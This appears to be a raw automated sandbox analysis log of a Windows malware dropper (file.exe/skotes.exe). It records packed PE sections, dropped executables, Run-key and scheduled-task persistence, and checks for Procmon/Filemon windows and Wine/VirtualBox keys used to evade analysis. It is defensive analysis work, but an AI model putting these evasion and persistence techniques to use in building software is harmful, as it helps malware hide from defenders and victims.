Source: 51d383286f.exe.6.dr	Static PE information: section name: .rsrc
Source: 51d383286f.exe.6.dr	Static PE information: section name: .idata
Source: 51d383286f.exe.6.dr	Static PE information: section name:
Source: 51d383286f.exe.6.dr	Static PE information: section name: wlfzarvz
Source: 51d383286f.exe.6.dr	Static PE information: section name: jvbpoham
Source: 51d383286f.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: efutjbgc
Source: random[1].exe1.6.dr	Static PE information: section name: idmyvlru
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name:
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name: .idata
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name:
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name: efutjbgc
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name: idmyvlru
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E9D91C push ecx; ret	6_2_00E9D92F
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Code function: 7_2_00687EE0 push dword ptr [eax+04h]; ret	7_2_00687F0F
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_01787CFF push esi; iretd	8_3_01787D02
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_0177A5D2 push ebp; iretd	8_3_0177A65D
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017859D0 push esi; iretd	8_3_017859D3
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_01786133 push 0000005Ch; ret	8_3_01786138
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_0177B39A push edx; iretd	8_3_0177B39B
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7672 push ecx; retf	8_3_017E7698
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Code function: 8_3_017E7752 push esi; retf	8_3_017E7754

Source: file.exe	Static PE information: section name: entropy: 7.9814204179424335
Source: file.exe	Static PE information: section name: crtbbopa entropy: 7.953988529670779
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.9814204179424335
Source: skotes.exe.0.dr	Static PE information: section name: crtbbopa entropy: 7.953988529670779
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.798759239199084
Source: random[1].exe.6.dr	Static PE information: section name: yeceswnp entropy: 7.9558278062527314
Source: e96c94d1af.exe.6.dr	Static PE information: section name: entropy: 7.798759239199084
Source: e5323e2eed.exe.6.dr	Static PE information: section name: yeceswnp entropy: 7.9558278062527314
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.970748621675166
Source: random[1].exe0.6.dr	Static PE information: section name: wlfzarvz entropy: 7.953950176004145
Source: 51d383286f.exe.6.dr	Static PE information: section name: entropy: 7.970748621675166
Source: 51d383286f.exe.6.dr	Static PE information: section name: wlfzarvz entropy: 7.953950176004145
Source: random[1].exe1.6.dr	Static PE information: section name: efutjbgc entropy: 7.953197459073249
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name: efutjbgc entropy: 7.953197459073249

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 436631dbc3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e96c94d1af.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51d383286f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8ab7de79e4.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51d383286f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51d383286f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8ab7de79e4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8ab7de79e4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 436631dbc3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 436631dbc3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e96c94d1af.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e96c94d1af.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
